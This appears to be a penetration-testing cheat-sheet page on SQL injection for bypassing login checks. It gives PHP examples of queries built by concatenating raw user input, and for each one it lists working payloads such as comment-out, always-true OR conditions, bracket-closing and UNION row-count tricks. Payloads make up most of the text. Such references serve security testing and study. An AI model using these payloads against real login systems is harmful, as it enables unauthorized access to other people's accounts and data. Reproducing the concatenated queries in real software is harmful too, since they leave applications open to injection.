SQLi
Always test both " and '
Play also with LIMIT to spot changes on the response that you may not see otherwise:
' or 1=1 limit 0,1-- -Authentication Methods
Direct Username/Password Query
PHP Example
$query = "SELECT * FROM users WHERE username='$user' AND password='$pass'";Both parameters are directly concatenated without sanitization. In this case is possible to use a classic OR injection to make condition always true:
Comment out password check
admin'--Always true condition
' OR '1'='1'--
' or 1=1-- -
" or "1"="1Sometimes the password field may appear before the username. To determine the structure, use brackets:
"))--Row Count Validation
PHP Example
$result = mysqli_query($conn, "SELECT * FROM users WHERE username='$user' AND password='$pass'");
if(mysqli_num_rows($result) == 1) { /* login */ }Use UNION to control row count or manipulate the condition:
If you need exactly one row
admin' UNION SELECT 1,2,3--Username First, Then Password Check
PHP Example
$query = "SELECT password FROM users WHERE username='$user'";Focus on username parameter, password validation happens later
Bypass to get the hash
admin'--Last updated
